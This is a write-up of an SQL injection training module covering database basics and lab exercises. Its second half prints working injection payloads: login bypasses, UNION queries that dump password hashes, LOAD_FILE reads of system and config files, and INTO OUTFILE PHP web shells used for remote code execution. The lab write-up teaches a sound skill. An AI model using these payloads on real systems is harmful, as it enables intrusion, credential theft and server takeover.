Sitemap

Write-up: SQL Injection Fundamentals

--

Almost every modern web application relies on a back-end database. These databases store everything from website content and product details to user accounts and personal information. Without a database, a web application would be static. It is the interaction between the application and the database that makes websites dynamic and responsive.

Whenever a user sends an HTTP(S) request, for example by logging in, submitting a form, or performing a search, the application’s back-end processes that request and typically sends a query to the database. This query retrieves, updates, or stores information needed to generate the correct response. In many cases, parts of the user’s input are included in these database queries.

Problems arise when user-supplied data is not properly validated or sanitized. If input is directly embedded into a database query, an attacker may be able to manipulate the structure of that query. Instead of simply retrieving the intended data, the database could be tricked into executing unintended commands. This type of attack is known as SQL injection (SQLi).

SQL injection targets relational database management systems such as MySQL, PostgreSQL, or Microsoft SQL Server. Similar attacks against non-relational databases, such as MongoDB, are referred to as NoSQL injection.

Understanding SQL Injection and Database Security

Web applications can suffer from many different types of injection vulnerabilities, including HTTP injection, code injection, and command injection. However, the most well-known and widely exploited form is SQL injection.

A SQL injection occurs when an attacker submits specially crafted input that alters the SQL query a web application sends to its database. Instead of executing the intended query, the database may execute unintended or malicious SQL commands. This effectively allows an attacker to interact directly with the database.

How SQL Injection Works

For a SQL injection attack to succeed, two things must happen:

  1. The attacker must inject SQL code into the application.
  2. The injected code must alter the logic of the original query or execute a new one.

This typically starts when user input is not properly validated or sanitized. In many cases, simply injecting a single quote (‘) or double quote (“) is enough to break out of the intended input context and interfere with the structure of the SQL statement.

Once injection is possible, the attacker looks for ways to manipulate the query. This might involve:

  • Modifying the original query’s logic
  • Appending additional queries (stacked queries)
  • Combining results using UNION statements (UNION-based injection)

To fully exploit the vulnerability, the attacker must also retrieve the output of the malicious query. This may involve observing the application’s response, analyzing error messages, or capturing returned data through the front-end interface.

The Impact of SQL Injection

The consequences of a successful SQL injection can be severe — especially when database permissions are poorly configured.

Some common impacts include:

  • Data theft: Attackers may retrieve sensitive information such as usernames, passwords, personal details, or credit card data. Many large-scale data breaches have been caused by SQL injection vulnerabilities.
  • Authentication bypass: Attackers may manipulate login queries to gain access without valid credentials.
  • Privilege escalation: Restricted areas, such as admin panels, may become accessible.
  • File access and remote control: In certain cases, attackers can read or write files on the back-end server. This can lead to the installation of backdoors and, ultimately, full server compromise.

Because of its flexibility and impact, SQL injection remains one of the most dangerous web vulnerabilities.

The Role of Databases in Web Applications

Modern web applications rely heavily on back-end databases to store and manage information. This includes:

  • Core assets like images and documents
  • Application content such as posts and updates
  • User data including usernames, passwords, and preferences

Over time, database technology has evolved significantly. Early applications relied on simple file-based storage systems, which became inefficient as data volumes increased. This led to the development of more advanced systems known as Database Management Systems (DBMS).

What is a DBMS?

A Database Management System (DBMS) is software designed to create, manage, and maintain databases efficiently. It allows administrators and applications to store, retrieve, and manipulate large amounts of structured data.

Several types of DBMS exist today, including:

  • Relational DBMS (RDBMS) — such as MySQL, PostgreSQL, and Microsoft SQL Server
  • NoSQL databases — such as MongoDB
  • Graph databases
  • Key-value stores
  • File-based systems

Each type is designed for specific use cases and performance requirements.

Applications can interact with a DBMS in various ways:

  • Command-line interfaces
  • Graphical management tools
  • Application Programming Interfaces (APIs)

DBMS solutions are widely used across industries such as banking, finance, healthcare, and education, where large volumes of sensitive data must be stored and managed securely.

Understanding how databases function and how SQL injection exploits weaknesses in database interaction — is essential for anyone involved in web development or penetration testing.

Types of Databases

Databases are usually divided into Relational and Non-Relational (NoSQL) types.

A relational database is the most common type. It uses a schema, a template that defines how data is stored. For example, a company selling products to customers might store information about products, customers, and orders. Usually, this happens in the back-end and isn’t obvious in the front-end.

Different tables can handle different types of data:

  • One table stores customer information.
  • Another stores product details and costs.
  • A third table links customers to their orders and payments.

Tables have keys that help identify specific rows or columns. These keys make it easy to access data quickly. For example:

  • The customer table might assign each customer a unique ID.
  • The product table assigns each product a unique ID.
  • The orders table can then store only these IDs and quantities.

Changing data in one table affects related tables, but in a predictable way.

To link tables together, we use a Relational Database Management System (RDBMS). Many companies now use RDBMS because it is simple to learn, use, and manage. Examples include Microsoft Access, MySQL, SQL Server, Oracle, and PostgreSQL.

For instance, imagine a relational database with:

  • A users table containing id, username, first_name, last_name.
  • A posts table containing id, user_id, date, content.

We can link the id from the users table to user_id in the posts table. This way, we don’t need to store all user details in the posts table. A table can have multiple keys to link to different tables, like linking posts to a comments table.

Using relational databases makes it fast and easy to retrieve all information about a specific item. For example, we can get all data about a single user from multiple tables with one query. This makes relational databases reliable and efficient for large datasets. A common example is MySQL, which we will cover in this module.

What Is an Injection?

An injection vulnerability happens when a web application treats user input as code instead of data.

When users fill in a form (like a login field or search box), their input is usually inserted into a query or script behind the scenes. If that input is not properly cleaned or validated — a process called sanitization — attackers can inject malicious code that changes how the application behaves.

Sanitization means removing or escaping special characters from user input so they cannot break the intended structure of the code.

If sanitization is missing, attackers can use special characters (like a single quote ‘) to escape the expected input and inject their own commands.

What Is SQL Injection?

A SQL injection occurs when user input is directly included in a SQL query without proper sanitization or parameterization. For example, imagine a search feature that builds a query like this:

SELECT * FROM users WHERE username LIKE ‘%input%’;

If a user types:
admin

The query becomes:
SELECT * FROM users WHERE username LIKE ‘%admin%’;

This works as expected.
However, if the input is:

1'; DRO P TABLE users;

Get Jordi Been’s stories in your inbox

Join Medium for free to get updates from this writer.

The query may become:
SELECT * FROM users WHERE username LIKE ‘%1’; DRO P TABLE users; %’;

Now the attacker has:

  1. Closed the original string using ‘
  2. Added a new SQL command
  3. Used a semicolon (;) to separate statements

If the database allows multiple statements, this could execute the malicious command.

Understanding the Semicolon (;) and Double Dash (--) in SQL

Semicolon (;)

The semicolon is used in SQL to separate multiple statements. For example:

SELECT * FROM users; DRO P TABLE users;

Some databases like MSSQL and PostgreSQL allow multiple queries separated by semicolons. However, MySQL often blocks this behavior depending on configuration.

In SQL injection attacks, the semicolon can be used to terminate the original query and start a new one.

Double Dash (--)

The double dash starts a comment in SQL. Anything after --is ignored by the database. For example:

SELECT * FROM users WHERE username = ‘admin’ --‘;

The part after --is treated as a comment, which can help attackers ignore the rest of the original query. Attackers often use this to prevent syntax errors after injecting malicious code.

Some SQL Commands

SHOW DATABASES;
USE users;
SHOW TABLES;
DESCRIBE logins; — list the table structure with its fields and data types (ex varchar/text, int/ciphers, date)
INSERT INTO logins VALUES(1, ‘admin’, ‘p@ssw0rd’, ‘2020–07–02’); — Requires the user to fill in values for all the columns present in the table.
INSERT INTO logins(username, password) VALUES (‘john’, ‘john123!’), (‘tom’, ‘tom123!’); — Insert multiple records at once by separating them with a comma
SELECT * FROM logins; — Selects the entire table (* = wildcard)
SELECT username,password FROM logins; — Selects just the username and password columns from the table
DROP TABLE logins; — Remove table logins
ALTER TABLE logins ADD newColumn INT; — Adds a new column newColumn to the logins table
ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn; — Rename a column
ALTER TABLE logins MODIFY newerColumn DATE; — Change a column’s datatype
ALTER TABLE logins DROP newerColumn; — Drop a column
UPDATE logins SET password = ‘change_password’ WHERE id > 1; — updated all passwords in all records where the id was more significant than 1.
SELECT * FROM logins ORDER BY password; — Sort the results of the column password (default is ascending)
SELECT * FROM logins ORDER BY password DESC; — Sort the results of the column password by descending
SELECT * FROM logins ORDER BY password DESC, id ASC; — sort by multiple columns, to have a secondary sort for duplicate values in one column
SELECT * FROM logins LIMIT 2; — Limit the results to two
SELECT * FROM logins WHERE id > 1; — Selects all records where the value of id is greater than 1
SELECT * FROM logins WHERE username = ‘admin’; — Selects the record where the username is admin
SELECT * FROM logins WHERE username LIKE ‘admin%’; — Retrieve all records with usernames starting with admin and match all characters after admin (%)
SELECT * FROM logins WHERE username LIKE ‘___’; — Match all usernames with exactly three characters in them. The _ symbol is used to match exactly one character.
SELECT 1 = 1 AND ‘test’ = ‘test’; — both expressions were evaluated as true = 1.
SELECT 1 = 1 AND ‘test’ = ‘abc’; —returned false as the second condition ‘test’ = ‘abc’ is false.
SELECT 1 = 1 OR ‘test’ = ‘abc’; — at least one of them evaluates to true.
SELECT * FROM logins WHERE username != ‘john’ AND id > 1; — select everything from logins where username is not john and id is greater than 1.

Connect to the database using the MySQL client from the command line. Use the ‘show databases;’ command to list databases in the DBMS. What is the name of the first database?

Press enter or click to view image in full size

What is the department number for the ‘Development’ department?

Press enter or click to view image in full size

What is the last name of the employee whose first name starts with “Bar” AND who was hired on 1990–01–01?

Press enter or click to view image in full size

In the ‘titles’ table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain ‘engineer’?

Press enter or click to view image in full size

Try to log in as the user ‘tom’. What is the flag value shown after you successfully log in?

Press enter or click to view image in full size
tom’; — -

Login as the user with the id 5 to get the flag.

Press enter or click to view image in full size
‘ OR id=5) — -

Connect to the above MySQL server with the ‘mysql’ tool, and find the number of records returned when doing a ‘Union’ of all records in the ‘employees’ table and all records in the ‘departments’ table.

Press enter or click to view image in full size
Count the columns between departments and employees. The departments table has lesser number of columns so we have to inject 4 more dummy columns when we use the union query.

Use a Union injection to get the result of ‘user()’

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

What is the password hash for ‘newuser’ stored in the ‘users’ table in the ‘ilfreight’ database?

Press enter or click to view image in full size
cn’ UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA — -
Press enter or click to view image in full size
cn’ UNION select 1,database(),2,3 — -
Press enter or click to view image in full size
cn’ UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema=’ilfreight’ — -
Press enter or click to view image in full size
cn’ UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name=’users’ — -
Press enter or click to view image in full size
cn’ UNION select 1, username, password, id from ilfreight.users— -

We see in the above PHP code that ‘$conn’ is not defined, so it must be imported using the PHP include command. Check the imported page to obtain the database password.

Press enter or click to view image in full size
cn’ UNION SELECT 1, user(), 3, 4 — -
Press enter or click to view image in full size
cn’ UNION SELECT 1, super_priv, 3, 4 FROM mysql.user — -
Press enter or click to view image in full size
cn’ UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee=”’root’@’localhost’” — -
Press enter or click to view image in full size
cn’ UNION SELECT 1, LOAD_FILE(“/var/www/html/search.php”), 3, 4 — -
Press enter or click to view image in full size
Ctrl + u and search for config.php
Press enter or click to view image in full size
cn’ UNION SELECT 1, LOAD_FILE(“/var/www/html/config.php”), 3, 4 — -

Find the flag by using a webshell.

Press enter or click to view image in full size
cn’ UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name=”secure_file_priv” — -
Press enter or click to view image in full size
cn’ UNION SELECT “”,’<?php system($_REQUEST[“cmd”]); ?>’, “”, “” INTO OUTFILE ‘/var/www/html/shell.php’ — -

What is the password hash for the user ‘admin’?

Press enter or click to view image in full size
First try to exploit SQL injection in the login form. After doing that, our conclusion will be the login form is secure for SQL injection. Then create an account page (register.php). When you try to register, you will see the message: “Invalid Invitation Code”. This happens because we do not have a valid invitation code. The application requires this code to create a new account.
Press enter or click to view image in full size
When you intercept the traffic with your web proxy, you can add a single quote (‘) to the invitationCode parameter. When you do this, you will receive a 500 Internal Server Error. This is usually a sign of a potential SQL Injection vulnerability.
Press enter or click to view image in full size
We should now think about how to make the backend accept our invitation code as valid. To do this, we can try a simple SQL injection payload like: ') OR 1=1-- — . This payload makes the invitation code check return true. As a result, we can create an account.
Press enter or click to view image in full size
Now that we have a valid account, we can go to the login page and sign in. This gives us access to the internal features of the application.
Press enter or click to view image in full size
Now that we have a valid account, we can go to the login page and sign in. This gives us access to the internal features of the application. When we explore the new chat feature, we notice that the search function sends this request: index.php?q=search&u=1
Press enter or click to view image in full size
If we add a single quote (') to the q parameter, the application returns a 500 Internal Server Error. This tells us that we are breaking the SQL query in the backend.
Press enter or click to view image in full size
To confirm the SQL injection, we can try adding a comment like:
') -- — . This time, the server responds with 200 OK. This means our comment fixed the broken query. The SQL injection is confirmed.
Press enter or click to view image in full size
Now we can find out how many columns the query has. We use a UNION payload like:
') UNION SELECT 1,2,3 -- — . We keep adding numbers until we get a 200 OK response. In this case, the table has four columns. In the response, we see that the numbers 3 and 4 appear on the page. This means we can use these columns to display data.
Press enter or click to view image in full size
Instead of numbers, we can use:
@@version and database() . This allows us to see the database version and name. We learn that the database is MariaDB 10.11.11, and the database name is chattr.
Press enter or click to view image in full size
Now that we know the database name, we can list all tables inside it using:
') UNION SELECT 1,2,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='chattr'-- — . The table names appear in the response.
Press enter or click to view image in full size
Since we want the administrator’s password hash, we should look at the Users table. To see the columns in the Users table, we use:
') UNION SELECT 1,2,COLUMN_NAME,TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='Users'-- — . Now we know the column names.
Press enter or click to view image in full size
Next, we retrieve the usernames and passwords with:
') UNION SELECT 1,2,username,password FROM chattr.Users-- — . The administrator’s hash appears in the response. We can submit it as the answer.

What is the root path of the web application?

Press enter or click to view image in full size
If we look closely at the HTTP headers, we see that the web server is Nginx. Since we know the server is running Nginx, we can try to read system files using the LOAD_FILE function. For example:
') UNION SELECT 1,2,LOAD_FILE("/etc/passwd"),4-- — . If this works, it means the database user can read files.
Press enter or click to view image in full size
We can read files successfully. Now we need to find the Nginx configuration file. A common one is:
/etc/nginx/sites-enabled/default. When we read this file, we discover the root path of the web application. We submit this path as the flag.

Achieve remote code execution, and submit the contents of /flag_XXXXXX.txt below.

Press enter or click to view image in full size
At this point, we know we are dealing with a PHP application on a Linux server. We also know the web root path. The next logical step is to try writing a PHP web shell to the web root. We can use the INTO OUTFILE function to write a simple PHP web shell. A small payload works best to avoid encoding issues. For example: <?=\$_GET[0]`?>` . We save this as shell.php.
Press enter or click to view image in full size
When we visit: shell.php?0=id , The server returns: uid=33(www-data) gid=33(www-data) groups=33(www-data. This confirms remote code execution.
Press enter or click to view image in full size
From here, we can run ls / to view the root directory.
In this directory, we find the flag file. We can retrieve it by running:
cat /flag_876a4c.txt. This command displays the flag, which we can then submit as the final answer.

I hope this module on SQL Injection Fundamentals gave you a clearer understanding of how SQL injection works, how to identify it, and how to exploit it step by step in a structured way.

Keep practicing, stay curious, and I’ll see you in a brand new article.

--

--

Written by Jordi Been

CPTS, OSCP+, OSCP, PNPT, PJPT, CAT & Sec+